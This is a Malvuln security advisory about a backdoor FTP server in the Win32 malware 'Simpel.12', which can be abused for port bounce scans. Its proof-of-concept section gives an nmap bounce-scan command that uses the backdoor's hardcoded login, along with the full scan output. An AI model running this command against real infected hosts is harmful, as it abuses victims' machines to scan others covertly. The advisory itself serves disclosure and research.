Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/1d12f9b921b38d7b521f12442bdd52d8.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.FTP.Simpel.12
Vulnerability: Port Bounce Scan
Description: The malware listens on TCP port 22. Third-party intruders who successfully logon can abuse the backdoor FTP server as a man-in-the-middle machine allowing PORT Command bounce scan attacks using Nmap. This vulnerability allows remote attackers to abuse your system and discreetly conduct network port scanning. Victims will then think these scans are originating from the infected system running the afflicted malware FTP Server and not you.
Type: PE32
MD5: 1d12f9b921b38d7b521f12442bdd52d8
Vuln ID: MVID-2021-0432
Disclosure: 12/27/2021
Exploit/PoC:
nmap -n -Pn -b cRaCkeN:[email protected]:22 -p21,22,80 192.168.18.237 -v
Starting Nmap 7.80 ( https://nmap.org ) at 2021-12-26 21:42 Pacific Standard Time
Resolved FTP bounce attack proxy to 192.168.18.129 (192.168.18.129).
Attempting connection to ftp://cRaCkeN:[email protected]:22
Connected:220 SSH-1.99-OpenSSH_3.6.1p1.
Login credentials accepted by FTP server!
Initiating Bounce Scan at 21:43
Removed 22
Changed my mind about port 22
Removed 21
Changed my mind about port 21
Discovered open port 80/tcp on 192.168.18.237
Completed Bounce Scan at 21:43, 2.39s elapsed (3 total ports)
Nmap scan report for 192.168.18.237
Host is up.
PORT STATE SERVICE
21/tcp closed ftp
22/tcp closed ssh
80/tcp open http
Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 11.61 seconds
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